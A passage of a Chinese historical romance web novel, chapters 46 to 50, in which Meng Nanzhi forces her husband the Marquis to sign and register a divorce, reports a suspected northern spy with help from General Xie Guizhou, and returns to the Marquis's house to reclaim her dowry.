没管颈间的血痕,孟南枝垂眉推开他,先是浅笑施礼:“感谢将军搭救之恩。”
接着夺下他手中的刀,转身砍向躺在地上的铁柱,眸中满是怒意,“辱我清白!还想携我潜逃?”
孟南枝下手虽重,却并未击要害,脚下轻踩着分不清是雨水还是血水的木板,又抽起刀架在铁柱的脖子上,语气如刀似冰,“说,是谁派你来的?”
镇北侯沈卿知的脸却是黑了白,白了又黑,他从未见过孟南枝如此嗜血的一面。
躲在他身后的林婉柔捂了捂胸口:原来她对自己没下狠手啊。
谢归舟却是看着她这般模样,突然低低地发出一声轻笑。
她还是她,一点没变,跟十几年前一样。
有仇必报,绝不忍让。
铁柱捂着被砍伤的肩膀,表情痛苦,狠狠地瞪着孟南枝,却突然哈哈大笑一声,“娘子,我是你夫君啊,既然不愿意认我,那我就如娘子所愿。”
接着,便见他嘴巴上下一合,猛得抽搐起来,眼睛瞪得像铜铃,嘴角涌出细密的白沫。
一名侍卫忙不跌的矮身蹲下上前扣住他的下颌,可指下的脖颈已经僵硬,不过片刻他整个身子便软了下来,彻底没了声息。
再探他鼻息,却是脸色骤变,“回将军,死了。”
孟南枝握刀的手微微颤抖,胃中翻江倒海。
谢归舟急忙上前一步,轻柔地取下她手中的刀,站在她身前,遮挡住了她的视线。他目光冷峻地扫过地上那具已然冰冷的躯体,眼中毫无波动,沉声命令道:“带离此处。”
敢污蔑她,他会亲自查。
侍卫不敢多言,连忙起身应了“是”,并招呼同伴一起将人抬了出去。
沈砚修两兄弟一前一后拥在母亲面前,关切问道:“母亲,您没事吧?”
随后又嘱咐洪太医,“快给我母亲看下伤势。”
洪太医轻应一声,连忙背着沉重的医箱快步上前,动作娴熟地打开医箱取出绷带和药膏,给孟南枝处理伤口。
孟南枝盯着尸体变得苍白的脸下那颗突显的黑痣,眉头微微皱起,好像在哪里见过。
余光瞥见谢归舟滴着血的左手,鲜血顺着指缝缓缓滴向潮湿的地面,眼皮微跳,不再多想,她迅速低头对洪太医示意道:“去给谢将军包扎一下。”
洪太医又连忙转身拿起医箱去为谢归舟处理伤口。
孟南枝却不再看他们,她缓缓移步,走到与林婉柔并肩站在廊下的镇北侯沈卿知面前,淡淡问道:“和离书,你可签了?”
谢归舟突地握起了拳头,心扑通扑通直跳。
她要和离。
她要和离。
她要和离。
洪太医拿着绷带的手僵在原地,他这是造的什么孽啊。
沈卿知眸色翻滚,看了眼围观的众人,低声道:“南枝,这里不是议事之地。”
孟南枝没说话,只对跟过来的刘嬷嬷微微颔首。
刘嬷嬷会意,从袖中取出两卷素笺,双手摊开露出“和离书”三个字,捧着递到镇北侯面前,声音平稳道:“侯爷,签了吧。”
沈卿知的指尖在触到和离书时顿了顿,没接。
孟南枝见状语气里添了几分寒意:“刚才提笔写降妾书时那般果决,现在倒是连和离书都不敢签了?沈卿知你这般作态,是给谁看?!”
她孟南枝又是那么让人可欺的?
未曾离开的众人再次低语,那探究中带着几分嘲讽的视线就像细密的网,缠得人透不过气。
沈卿知面色难看,接过和离书看也不看,直接撕烂扔在地上,指着沈砚修兄弟二人道:“本侯绝不可能把孩子让给你,他们,永远都是我沈家的子嗣!”
想起外祖父说的话,沈砚修与弟弟对视一眼,突然走上前,从一旁的桌案上拿起笔墨,在纸上一气呵成,重新写下两份和离书递到他面前,“我是沈家的世子,沈家有我已经足够,放母亲和珩弟、昭妹离开。”
“修儿!”孟南枝上前阻止,那不是她想要的和离。
却被次子沈砚珩拽住,“母亲,让哥去,我们大了。”
沈卿知面色通红,双目欲裂,他瞪着长子的眼睛,将那份和离书同样撕烂,砸在他的脸上,咬牙切齿道:“绝无可能!”
沈砚珩见状稳住母亲,同样走到桌案前,也重新写下两份和离书,“你已经有了平妻和她女儿,若想要子嗣,我和兄长留下便是,放母亲和妹妹离开!”
沈卿知面色青黑,拿过和离书同样准备撕掉时,林婉柔突然上前跪在地上,拉住他的衣角哭得梨花带雨道:“侯爷不要为难,我自愿被休,只要侯爷和南枝好好的。”
说着她又爬起来从桌子上拿过来笔纸,同样递到他面前,带泪的凤目中满是决绝:“侯爷,写休书吧,休了我,一切都因我而起,是我的错。”
沈砚珩低眸看着地上的林婉柔眸中露出冷嘲,却是压低了声音同父亲说道:“父亲,你若不放母亲和妹妹走,我就去府衙告林婉柔与你的通奸之罪。”
来的路上,兄长早已与他沟通,若父亲不同意与母亲和离,他们就逼着他同意,反正他与兄长,在这京里从来就没有什么好名声。
母亲好不容易才回来,不该因他们被困。
沈卿知盯着次子,眼中满是怒火。
逆子,逆子!
他怎么会有这么一个与他生生相克的逆子!
见他丝毫不退缩,沈卿知低头看着对他满是柔情的林婉柔,抬头又看向孟南枝对他毫无感情的脸。
满脑子都是林父、左相、四皇子和孟太傅在拉扯,对着面前的两张纸指尖微微颤抖,他突然语气疯狂道:“孟南枝,是你逼我的,都是你逼我的。”
说罢,便狠狠地在那“和离书”上落下了自己的名字。
第46章 和离备案
墨迹刚刚落在纸上,沈砚珩便赶紧收了起来,生怕晚一步父亲便会反悔。
他拿起和离书到男宾厅寻到喝醉的二祖叔,哄着他签了字,又到了无人处盖上外祖父给他的私章。
这才返回来当着众人的面在和离书下面签上自己的名字,递给兄长,让他也签下。
大衍有律,和离书必须会及诸亲,有双方亲属签字画押才算数,否则视为私放,为无效和离。
沈砚修签完后,走到父亲沈卿知面前:“父亲,去备案吧。”
外祖父说:迟则生变。
那今日父亲所签的和离便不能拖到明日。
沈卿知的面色铁青,他竟是被两个逆子牵着鼻子走,佛袖气道:“今日这般晚,府衙哪里还有人。”
谢归舟看不出表情地说道:“镇北侯难道不知应天府府尹一向勤恳,日夜都有安排人员当值,便是此刻去,也能办得妥当。”
一句话落地,前一刻还略显凝滞的空气,顿时更静了几分。
在他身侧的洪太医有点蒙,按理说宁拆十座庙,不毁一桩婚。
没看这院内众人没有一个敢劝上两句的么。
将军这话乍一听没毛病,但细思下怎么感觉跟盼着镇北侯和离似的。
虽然带子女离开是最佳打算,但孩子的选择她同样给予尊重。
巨幕中暂时没有发生的事,她不会强压到孩子身上。
事已至此,没有什么好再犹豫的,该断则断,反复纠结只会伤及孩子,孟南枝声音平静道:“走吧。”
随着她的话音落下,沈砚修两兄弟便跟着她转身率先离开水榭。
沈卿知盯着孟南枝的背影没动,林婉柔睫毛上挂着晶莹的泪珠,楚楚可怜的眸中全是柔情,“侯爷。”
见她还在跪着,沈卿知弯腰把她扶了起来,“婉柔快起来。”
林婉柔挽住他的胳膊道:“侯爷,妾身没想到你竟为了妾身做到如此地步,妾身此生定会好生服侍于您。”
“有些话,还是留着回家说吧。”
谢归舟嘴角带着冷嘲,轻轻刮了他们一眼,抬脚走出水榭。
不去备案,墨迹什么呢。
洪太医只得将绷带和药膏收进医箱,挎在身上小跑起来跟着他。
造孽哟。
沈卿知的眸中满是怨怼,却敢怒不敢言,带着林婉柔跟在他们身后。
因已时值夜晚,府衙的大门已关。
孟南枝他们到达敲门时,值日的小史正打着哈欠,刚准备不耐烦地说晚上不办公,就看到了跟在她后面的谢归舟。
猛地一个惊醒,立马腰下腰,非常客气地引着他们进府衙。
府尹得了信,鞋子都未提上,边穿衣袍边跑来,陪着笑脸同他们见礼,“不知将军深夜造房是有何事?”
沈砚修从怀里掏出和离书及早已准备好的户籍,一并递给他,“劳烦闵大人,为我父亲沈卿知与我母亲孟南枝和离备案。”
这……
府尹闵大人看看镇北侯,又看看孟南枝,一时没敢接。
自他上任以来,不是没办过和离,只是没见过做子女的,亲自来给父母办和离的。
关键这和离的还是镇北侯。
谁不知道当年镇北侯夫人溺于大衍湖,镇北侯为亡妻干的那些惊天动地的事。
如今镇北侯夫人回来第一件事就是和离,这谁对谁错,实在难评。
孟南枝蹙眉,“不能办?”
闵大人看了眼她身后微微点头的谢归舟,忙不跌道:“能,能。”
仔细核对完上面的姓名、籍贯,闵大人照流程问道:“沈卿知,孟南枝,你们确为自愿和离?无威逼胁迫?”
沈卿知喉咙发紧,刚要开口,却听孟南枝先应了声:“自愿和离。”
她声音清晰,不带丝毫情感。
沈卿知握紧手指,同样也低声道了句:“自愿和离。”
闵大人点点头,在和离书上盖了官印,又将户籍册上两人的关系一栏划去,另起一行注明“景和十三年七月廿日戌时和离,各归本籍。”
做完这一切,他把文书递到两人面前,“好了,备案已毕。往后男婚女嫁,各不相干。”
沈砚珩替母亲收好和离书和户籍,“母亲,咱回家吧。”
“回家。”
孟南枝抬眸,轻轻扫了沈卿知一眼,那眼神里不带一丝温度,就像是在看一个无关紧要的陌生人,掠过便收了回去。
沈卿知心口猛地一空,只觉那一眼冷得彻骨寒心,又觉心口又酸又涩。他望着孟南枝离开的背影,指尖微微蜷起,下意识地便张口喊她,“南枝。”
孟南枝如若未闻,脚下没有丝毫停顿。
察觉到沈卿知的失神,林婉柔将桌案上的和离书及户籍收起来,轻轻挽住他的臂弯,指尖带着恰到好处的温软,声音更是柔得像浸了水的棉:“侯爷,我们也回府吧。”
努力没有白费,侯爷终究是同孟南枝和了离。
镇北侯早晚是她的。
出了府衙,孟南枝对谢归舟轻轻施礼:“今日多谢将军施以援手。”
眼前的谢归舟已完全脱离于她记忆里的模样,不再是总垂着眼帘、眉宇间藏着几分缄默,取而代之的是常年征战沙场、被风雪磨砺出的凌厉。
寻了整整十年的人就在眼前,谢归舟半阖眼皮,掩住眸中的黏湿情绪道:“本将也是受太傅所托。”
果真。
孟南枝心底了然,面上依旧笑道:“还是要多谢将军,前日了犬子得以正名,也全靠将军相助。不知将军明日……”
说到此处,孟南枝便想到恶奴麻子,又想到今日那具死尸的下颌黑痣。
脑中突然闪现前日去寻次子,在城门遇到的那个蓑衣壮汉,两人的痣一模一样,她记得那个壮汉最后和一个瘦小的身影走在一起。
而那个瘦小身影……
谢归舟一直在等她说完,见她失了神,正准备问她,却见她突然转身又进了府衙。
孟南枝寻到刚收拾完档案,准备提拉着鞋回去睡觉的府尹,“闵大人,不知前几日污蔑我儿的麻子现在何处。”
闵大人左脚踩右脚,差点滑倒,以为她要追究判决,忙解释道:“此人因污人名节,按大衍律例,已发配充军。”
太快了。
孟南枝眸色微变,“按律不该七日后无审诉再发配充军吗?”
第47章 不谋而合
谢归舟眉头微拧,语气带着压不住的寒意,“本将不是说让你秉公处置,为何会提前发配?”
闵大人身子猛地一矮,额间渗出细密的冷汗,“下官确实依将军所说秉公处置,这恶奴麻子所犯罪名,人证物证齐全,乃为实证,下官如此处置,并不违规。”
谢归舟面色冷清:“说重点。”
闵大人低头不语,不敢直视他的目光,声音中透出几分惶恐,解释道:‘此事涉及平阳公府的三公子与吏部尚书的二公子,下官着实有些难办,而且此人是镇北侯府的奴才,镇北侯亲自与下官说,让赶紧处置了这恶奴。’
当时沈世子拖着甄少兴和黄营东一群世家公子哥来,告他们污蔑之罪。
此事若仅是世家公子间的戏谑,倒也无甚大碍,偏偏他们不幸遇上了当时来府衙办案的谢归舟。
由于谢归舟的介入,他不得不依法将这几个公子哥暂时拘押数日。
但为了自己的官途和不惹祸上身,他在狱中对这几位公子哥可是百般照顾,千般安抚,甚至自掏腰包,确保他们饮食丰盛,不受丝毫委屈。
然而,平阳公与吏部尚书岂能忍受子嗣受这般待遇?
得知是谢归舟亲自坐的堂,不敢去找谢归舟,却对他百般施压,还找来了恶奴的主子镇北侯。
他无奈之下,只能将罪魁祸首麻子先行处置。
沈卿知。
还真是会办事!
孟南枝眸色闪了闪,开口道:“闵大人,我要报案。”
正处于不知该如何给谢归舟解释的闵大人默默松了口气,正色道:“不知孟姑娘所报何案。”
孟南枝从桌案上抽出一张纸,寥寥几笔便画出“铁柱”的脸,“此人自称铁柱,七月十八日酉时进的城,我怀疑他是北戎奸细。”
“孟姑娘所言当真?可有证据?”闵大人的脸色立马就严肃起来,若是北戎奸细,事态就严重多了。
沈砚修也反应过来,回忆当晚情景道:“我母亲所言属实,当晚我与母亲去城门接我珩弟,便是此人推了我母亲一把。”
说到这里,沈砚修突然暗恼,按照那晚的情景,这人当时根本就没认出母亲,明显也不认识母亲,今日竟然诬陷母亲是他娘子。
想到此人临死前还要恶心她一把,孟南枝道:“此人身上有很浓的皮革味,而且应是死士,这点谢……将军应该比较清楚。”
是不是先安上罪名再说,这些人真当她是好欺辱的。
谢将军即是父亲委托过来的,那也定是向着她,所以她提及让谢归舟作证没有任何感情负担。
只是她说完半天谢归舟也没接话,便抬头看向他,却见他正盯着自己发呆。
难道他也是奇怪自己为何容颜未改?
确实十年没见,忍不住好奇是正常的,孟南枝便又重复了一句,“谢将军?”
谢归舟站在孟南枝身侧,目光一直不受控制地落在她身上,眸色深沉。
他瞧着她执笔蘸墨,笔杆在她芊白如玉的手中如深谷流水般自然握下,巴掌大的小脸低垂着,弯弯的睫毛带着认真,琼鼻微挺,说话间粉嫩的唇瓣一张一合。
直到身边人推他,方才抬头正对上孟南枝的眼睛,清透的眸子如一汪清水直击心灵。
他大脑如烟花炸开,有一瞬间的空白,忙不迭扭开视线,拳头紧握,指甲陷入未包扎的伤口,疼痛入脑,清醒了几分。
不知她到底说了什么,看了眼她手上的那幅画作,他喉结耸动,平静的声音中带了点艰涩的哑意:“此人是死士,本将怀疑他可能是北戎人,尸体我已派人送到了将军府。”
倒是与孟南枝的想法不谋而合。
孟南枝满意的点了点头,虽说好像有点答非所问,但倒也影响不大。
涉及死士和北戎,再加上有屠戎将军保证,闵大人不敢耽搁,立马说道:“我现在就安排人去城门询问。”
孟南枝接着又画出一副“铁柱”在雨中与一瘦弱身影相并的画,“此人在撞我之后与另外一人汇合离去,大人且看此人背影与那麻子是否相似。”
闵大人接过画,斜看了眼谢归舟,迟疑道:“这人裹得极其严实,单从一个背影实难证实就是麻子,而且麻子已经充军……”
谢归舟眸色翻滚,对身后侍卫冷声道:“去查,看他现在人在何处。”
侍卫领命退下。
孟南枝施礼道:“此事有劳将军和闵大人费心了。”
闵大人笑道:“若此人真为北戎奸细,便是国事,孟姑娘挺身而出,为我朝百姓安危着想,实乃大义之举。孟姑娘放心,本官定当竭尽全力,追查此事,绝不让任何奸细有可乘之机。”
说到此处,闵大人看向谢归舟,语气中满是敬意道:“有谢将军在此,想来定能早日水落石出。”
谢归舟微微颔首,目光撇开孟南枝,落在沈砚修身上,“今日太晚,我送你们回去吧。”
不能问她,她肯定会拒绝。
沈砚修自见到谢归舟就很老实,若非母亲之事更为紧要,他才不想面对他。眼下他提出送他们,下意识地点头,“有劳将军。”
心里却有些疑惑,以前不都是让侍卫送他么。
夜雨敲打着青石板路,溅起细碎的水花,马车碾过积水,发出“卟叽、卟叽”的声响。
谢归舟身姿挺拔地骑在马上,雨水打湿了他的乌发,顺着饱满的额头滴在高挺的鼻梁上,他微微侧着身,目光不时地扫向身侧那辆马车。
车帘低垂,在刘嬷嬷的服侍下,孟南枝换掉了被雨水浸湿的外衣。
刘嬷嬷往她身上又搭了一件披风,拉开帘子看了眼窗外,“姑娘,又下雨了,将军没穿蓑衣。”
孟南枝拢了拢披风,撩开车帘,看到谢归舟迎雨而立如松般的身影,正专注地望着前路,护着马车稳稳前行。
她心中微动,从车角取出蓑衣递到窗外,“将军,把蓑衣穿上,莫要淋坏了身子。”
谢归舟闻声侧过身,透过雨雾看清她眉目间的关切,略一颔首,接过蓑衣时不经意间触碰到她的指尖,似被烫般立马缩回手。
他利落地将蓑衣披上,宽大的帽檐盖了大半张脸,只露出清晰而紧崩的下颌。
蓑衣应是被她穿过,带着淡淡的蔷薇香,依旧是缠缠绕绕,绕得他心口发闷。
第48章 伤了根基
身后跟着的马车内,沈砚珩撩开窗帘看了眼前面母亲所坐的马车,和骑在马上的谢归舟,半躺在沈砚修身上,“哥,你还怕他呢?”
兄长每被谢归舟拉去兵营历练一次,回到家里就会对着母亲种下的那棵紫薇树抱怨一次,同时也会拉着他历练一次。
所以别说兄长看见谢归舟有些怕,他也有点害怕的好不。
生怕哪一天自己也会被他拉到军营中。
导致每次他出门,都要安排小斯出去先转一圈,避免运气不好遇到谢归舟。
沈砚修摇头,情绪不是很高,“没有,我知道他是为我好。”
母亲不在的这些年,他是活得任性了些,但也知好歹。
京都那么多人,除了祖父,也就屠戎将军还会管他一管。
剩下的哪个不是明着恭维,背后嘲笑他是个只会欺压百姓、无事生非的世子。
到了孟府,谢归舟勒住缰绳,停了下来,并未下马。
孟南枝被刘嬷嬷扶着下了车,鬓边碎发微乱,抬头看他时,雨滴刚好落在睫毛上,带着一团湿气,“今日多谢将军。”
她恐父亲已经歇下,不便邀他入府。
而且他没有下马的打算,想是也知夜深,不便入府。
沈砚修两兄弟也跟着母亲同他道了谢。
谢归舟微微颔首,并未多言,却在他们进府后,突然下马翻身进了东邻宅院。
父亲孟正德和胡姨娘还未歇下。
胡姨娘已经从老爷的口中得知孟南枝和离一事,内心焦急得根本坐不下来,“老爷,您怎么就不能同圣上求道和离的圣旨,让两个孩子去陪枝枝面对这种事怎么能行?”
孟正德沉默未言,她怎知他没求呢,但被人阻止了啊。
若非他担心今日若不和离,女儿这辈子可能都会跟镇北侯一直纠缠下去,导致和离不了,他才不会把希望寄托在两个孩子身上。
眼下见到女儿平安归来,长外孙沈砚修默默地冲他点了点头,这才放下心。
“枝枝,可真是苦了你。”胡姨娘挽住她的手,满脸心疼,“不过那镇北侯他实非良人,和离了是好事,今日在那平阳公可受委屈?”
“没有的,姨娘。”
孟南枝摇头,“还要多谢父亲提前替我安排,请了谢将军。”
孟正德:?
什么叫他请了谢将军?
他只对两个外孙说了今日之事。
再说谢将军不是出城抓要犯去了?
“那便好。”
胡姨娘松了口气,只是提到谢将军,她意识顿了一下,眸子里带了丝怜悯,“有谢将军帮忙定是不会委屈。”
孟南枝怕父亲和姨娘替她担心,忙推着他们赶紧去歇下,“好了,父亲姨娘,太晚了,你们赶紧歇下吧,有什么咱明日再说。”
一路带着沈砚修他们进了阁楼,到室内坐下后,孟南枝看着眼前从荷风宴出来后,始终笑盈盈的两个儿子,叹了口气,一时不知道该怎么说:“你们……。”
她是想同沈卿知和离,却从未想过放弃他们。
次子沈砚珩将和离书递给母亲,笑道:“母亲莫要多想,我和哥哥已经大了,在哪都一样。”
“对啊,母亲。”长子沈砚修也劝慰道:“您看京都就这么大,即便我和珩弟名在沈府,还不是想来孟府就来孟府,想来寻您就来寻您,所以我们在哪里都一样。”
孟南枝完全无法把眼前如此懂事的两个儿子,与巨幕里的反派形象联系在一起。
她看着长子沈砚修长得比自己高的个头,逐渐像个大人棱角分明的脸,柔声问道:“修儿,你今年已经十六了,对以后可有什么想法?想做一个什么样的人?或者干些什么样的事?”
母亲眼里的期盼和慈爱,让沈砚修羞愧地低下了头,“母亲,我……”
他幼时曾在母亲面前说,长大要当状元,做宰相,文能敌百官,武能降外敌。
可母亲不在的这十年,他好像什么成绩都没做出来。
还落得让百姓明里畏惮、世家背里嘲笑的名声。
见他不语,孟南枝又道:“前日我与你外祖父商议时,你也在一旁看着。这次大雨过后,如果真的洪水爆发,定会造成许多百姓成为流民。若是你愿意,明日我便与你外祖父商议,你前往山城赈灾吧。”
沈砚修抬眼看向母亲,“母亲,我离了京,你怎么办?”
虽然父亲签了和离,但依他对父亲的了解,没那么容易放过母亲。
少年的眼中没有对前往险境的害怕,只有对她如今困境的担忧。
沈砚珩在一旁劝道:“哥你去吧,我不还在京里呢,有我守着母亲,你放心吧。”
看着长子眼眶中微微泛起的红晕,孟南枝暗暗深叹一口气,又道:“修儿,人这一辈子,脚下能走出什么样的路,全在于心里有着什么样的信念。”
“母亲希望你不要把镇北侯府当作你的后路,你的路得靠自己去闯去拼。只有这样,日后无论你身在何处,何处便是你的立足之地。”
镇北侯靠不得。
而且有那陆筝筝在,孟南枝也不希望长子沈砚修过多的回去与她产生纠缠。
沈砚修猛得拽紧拳头,喉结滚了滚,道:“孩儿谨遵母亲教诲,定会靠自己闯出一片天地。”
待长子他们退下,孟南枝回想今日所发生的一切,突然想到今日参加荷风宴时,曹宛清和平阳公夫人这群侯门贵妇在面对谢归舟时,神情好像不太对。
除了敬畏,还有点其他的什么。
怎么说呢,跟胡姨娘刚才提到谢归舟时的神情一样。
好像是怜悯。
可为什么会是怜悯?
他本就是国舅爷,什么都不缺。又是屠戎将军,战功赫赫,圣心在握,民心所向。
对了,婚姻,没娶妻。
孟南枝抬眸看向刘嬷嬷,再次问了长子沈砚修曾经回答过的问题,“谢将军因何未娶妻?”
刘嬷嬷帮她解下披风,带了几分谨慎,压低了声音说道:“夫人,您溺水后第二年,也就是景和四年,谢将军在战场上伤了根,只是此事关系将军声誉,宫里便说将军志在收复北戎。”
“因着宫里封了口,这事只有公侯府里的长辈们清楚底细,像世子他们这般年纪的晚辈,是不知情的。”
怪不得。
她就说哪怕他心志再高,帝后也不可能会允他不娶。
京都里那群财狼虎豹又怎么会放过他这个佳婿。
不是修儿他们不知情,而是不能知情。
第49章 阳火过胜
夜已浓得像是化不开的墨,天空的雨细得像游丝,落下来几乎没有声音。
谢归舟站在东邻阁楼下,直看到沈家兄弟离开阁楼,那室里灭了灯,才转身提步离开。
孟府东邻宅院门外的高墙下,洪太医蹲在地上举着药箱护在头上挡雨。
将军的手还没包扎,他不敢走。
若是走了,只怕明日皇后娘娘便会赐他个两丈红。
他伸出一只手点了点身边的黑衣侍卫,“钱侍卫,你说将军什么时候出来?”
双手抱臂的钱侍卫抬眸看了看还在下雨的夜空,惜字如金,“不知道。”
洪太医默默低语:有病吧,半夜不回家爬人家墙偷窥呢。
“将军。”
头顶传来钱侍卫一声清喝。
正在吐槽的洪太医吓得猛一哆嗦,药箱落在地上,又连忙捡起来,看着不知何时到了跟前的谢归舟,舔着脸笑道:“可算等到将军了,将军,让微臣先给您包扎一下吧。”
谢归舟微微点头,任他给自己包扎完后,清冷的声音里不带一丝温度,“回吧,知道什么该说什么不该说吧。”
洪太医立马躬身保证道:“微臣什么都不知道。”
不是说将军在战场上伤了根基么。
那脉象应是浮而无力,迟滞不畅,并带涩感。
可他在平阳公府准备给将军包扎掌心时,不小心触到的脉象,明明是阳火过盛。
只是指尖轻触刹那,便觉一股躁脉猛地撞来,如奔马脱缰,跳得急劲有力,又像烧得正旺的炭火,灼得指尖发烫。
那明明是……
他为什么不走,除了怕被皇后责斥,当然还好奇那脉搏啊。
可他刚刚再去试探,将军那脉搏竟然变得平平淡淡,什么也把不出来了。
思到这里,洪太医暗呸一声道,他怎么可能比院首还厉害,院首断的脉怎么可能有错。
今天果真是雨水太大,吃瓜太多,受伤了,连脉象都看不准了。
笠日,雨已停歇,天色阴沉。
孟南枝与父亲提及让长子前往山城赈灾的想法。
孟正德放下手中的茶盏,望着女儿如她母亲一般的面容,满头银发在灰暗的厅内显得更加分明,“枝枝,你若想让修儿历练,我可以给他谋个在京的职位,何至于去趟赈灾这趟深水。”
顿了顿,他又道:“再说圣上虽然已经安排河工去了九曲河,但山城截至目前还未传来消息,若真如你所说发生水灾,定是饿殍遍地,人心叵测,修儿去了,你能放心?”
孟南枝给父亲添了茶,轻声道:“父亲,天子年事已高,京里的水更深。”
她也知凡涉及赈灾,那水便异常深,做好了加官进爵,做不好便人头落地。
可她如果不放长子出京,长子便会牵涉到皇子派系当中。
天子比父亲年长了几岁,因为过于劳心国事,身子并没有父亲好。
至于太子,孟南枝收回茶壶,没再深想。
孟正德听到她这话晃了晃神,再次想到前日见圣上时的情景,抬眸看向女儿,眸色便变得复杂起来。
亡妻故时,女儿才十岁,他虽纳了胡姨娘,但胡姨娘到底是姨娘,依旧把女儿当半个主子。
所以在教导女儿和婚嫁方面,还是以他为主。
一想到他当年亲手为她把关的婚姻,如今却落得和离下场,他心里便觉得无限愧疚。
虽然不知道这十年女儿到底经历了什么,但他可以从女儿的眼中看到隐忍的恨意和迫切。
那种说不清的恨意,他只在被灭了全家的敌人身上见过。
见父亲不说话,孟南枝双手端起茶盏递到他手上,目光里带着坚持:“父亲。”
孟正德看着女儿,沉默半晌,叹了口气,接过茶盏道:“如果不出意外,明日山城便会传来消息,届时,我会入宫为修儿求份官职。”
“谢谢爹。”孟南枝起身起到他身边,为他轻轻按捏肩膀,“爹您不是常说温室里养不出能经风雨的松柏嘛,修儿是该多出去走一走。”
“有事称父亲,用完就叫爹是吧。”孟正德吃了口茶,没好气地道:“你可别后悔。”
也罢,他像长外孙这么大时,已经跟着圣上在官场上几进几出了。
孩子大了,是该出去历练历练。
孟南枝笑道:“爹办事,女儿放心得紧。”
她就知道父亲会依她,只要长子不走歪路,父亲和孟家这辈子都会无忧。
长子的事已办妥,因着三日期限已过,沈卿知却一直没将她的嫁妆送回来,孟南枝便带着刘嬷嬷去了镇北侯府。
马车刚到镇北侯沈府,来顺便小跑着迎了出来,“夫人。”
前日里还斜眼看人的两个年轻门房早已跪着迎她,孟南枝目光轻轻瞥过便进了府。
府院内,大大小小的箱子摆满一地,丫鬟们却战战栗栗地不敢大声言语。
见到她进来,年长相熟的丫鬟全都站了出来,一个个俯身应道:“夫人。”
站在院内正对她们训话的林婉柔面色一僵,扭过头来,声音带着软绵绵的亲昵道:“南枝,你来啦。”
孟南枝没理他,对刘嬷嬷微微点头,刘嬷嬷便领着从孟府带来的几个丫鬟壮丁开始对账单。
只是还未开始,沈卿知便从廊下走了过来,他眉头微蹙,看向孟南枝的脸色全是不耐,“不是说好了让管家给你送去,何必亲自跑一趟,难不成还怕镇北侯府昧了你的东西不成?”
“我不在的时候,你能用我的嫁妆娶平妻,昧个东西在你看来定不是什么大事。”孟南枝抬眸看带,面露嘲讽:“所以,我左思右想,还是觉得亲自点着带走才放心。”
沈卿知被她堵这一嘴,面色涨红。
林婉柔适时地上前亲昵地挽住他的胳膊,柔声道:“侯爷,南枝来了,便是客。不若请她进屋坐坐,吃点茶水再说。”
她说着,眼尾扫向孟南枝,带着不易察觉的挑衅。
沈府后宅的主人,现在是她。
孟南枝只觉得好笑,真当她稀罕跟她争那恶心的玩意儿。
沈卿知被林婉柔挽着,神色缓了缓,扭头看也不看孟南枝道:“不必了,让她清点完东西赶紧走。”
第50章 能不能算了
“别搬,别搬!”沈二叔从院门小跑着赶起来,脸色蜡黄地走到孟南枝面前,“我说南枝哦,有什么事情咱不能坐下来好好谈嘞,非要闹到和离这一步。”
他昨日喝多了酒,今日酒醒才得知昨夜他那位大侄子,竟然在未经族中商议的情况下就签了和离。
那可是和离,不是随随便便一张纸!
还说是孟南枝逼的,他这个自认只会借孟家起势的依附者都不敢说。
他那个似被女妖偷了心的大侄子他可真敢说啊。
见孟南枝不理他,他走到沈卿知面前,抬手就一把掌扇了上去。
“啪!”的一声脆响,满院皆静。
“二叔父!”
林婉柔惊呼,连忙拿起帕子去轻抚沈卿知的脸,“侯爷,您疼吗?”
沈卿知眸子里略过阴霾,握紧手指,死死盯着沈二叔。
沈二叔气道:“我这一巴掌是替你父亲打的,你与南枝的婚姻乃是父亲之命,媒妁之方,怎么可以如此轻率便和离。”
沈卿知咬牙道:“和离书上你可是按了手印的。”
这他无法反驳,沈二叔有些心虚,嘴硬道:“还不是你先当众签了和离,我那是为了你的面子。”
沈砚珩那个二侄孙,竟然忽悠着他按了手印。
说罢便不理他,转过身来客气地对孟南枝说道:“南枝啊,卿知他也是一时糊涂,这夫妻之间,没有什么过不去的,你看这和离能不能算了。”
孟南枝直接在院内的亭下木椅上坐下,年长的丫鬟再次微红着眼睛上了茶。
她端起茶盏,轻掀茶盖,水温适中,便轻抿一口,放下道:“二叔父,我嫁于沈卿知之前沈家是什么光景,嫁于他后沈家又是什么光景,我想你应该比谁都清楚。”
沈二叔连连点头,“那是。”
他们与孟家联姻,本就是为了振兴沈府。
见沈二叔如此识趣,孟南枝也缓了缓语气,笑道:“二叔父,我现在还称你一句二叔父,是念你在我不在的这些年,你待修儿他们还算公道,即便今日出了沈府这门,我依旧念你一声二叔父。”
说到此处,她话锋突然一转道:“但二叔父,我孟南枝最忌讳什么,你应当是清楚的,他娶平妻我可以不计较,但他不该如此亏待我儿。”
巨幕里,长子沈砚修被分尸后,是沈二叔亲自去给他收的尸。
所以不管是念着从前还是以后,她对沈二叔都有感激之情。
但这并不能成为绑架她的工具。
子女的情,她会还。
但她与沈卿知,从他先救林婉柔那一刻,便不可能复到从前。
沈二叔依旧试图挽回道:“南枝啊,卿知再怎样说也是孩子的父亲,哪里会真亏待自己的孩子,你莫要听旁人的一边之词。”
孟南枝摇头,“沈二叔父,我有眼睛会自己看,若是旁人说得不错,自然我也会听。孩子养得好不好,你心里有数,我心里也有数,就莫要说这些不影响局面的道理了。”
见劝说无效,沈二叔长叹一口气,“也罢,但南枝啊,修儿终归是沈府的世子,你又是修儿他们的母亲。”
这人可以走,关系却不能断啊。
孟南枝知他心中所想,便笑道:“沈二叔父放心,只要修儿愿意,他可以一直是沈府的世子,我孟南枝可以保证,孟府绝对也会全力支持。”
至于支持沈府还是修儿,不用明说,他也当知道。
刘嬷嬷一箱箱对完清单后,走到孟南枝面前,声音有些发颤:“姑娘,那套赤金累丝嵌红宝石头面的宝石不见了。”
那套头面是母亲重病时,取了自己嫁妆头面中的鸽血红宝石,亲自命人重新给她打造的。
孟南枝缓缓抬头,看向沈卿知,眼底浮现一抹愠意:“东西呢?”
沈卿知面色不耐,道:“不过是一个宝石,赔些银两给你便是。”
孟南枝目光如刃,直刺沈卿知眼底:“那鸽血红宝石是我母亲遗物,你若还要脸面现在就拿出来,若是不拿出来,我立马就拿着陪嫁清单去大理寺,告你侵吞前妻嫁妆。”
沈二叔推了沈卿知一把,“还不快去!”
沈卿知面色青白,没应答。
那东西他已送了出去,断没有收回来的道理。
林婉柔上前一步,柔声道:“南枝,原本侯爷以为你去了,去岁筝筝及笄时,命人打了金钗。这到底是筝筝的及笄礼,代表着福气。你看需要多少银子,我补给你。”
孟南枝看着她冷笑,“你女儿的福气与我有何干系。”
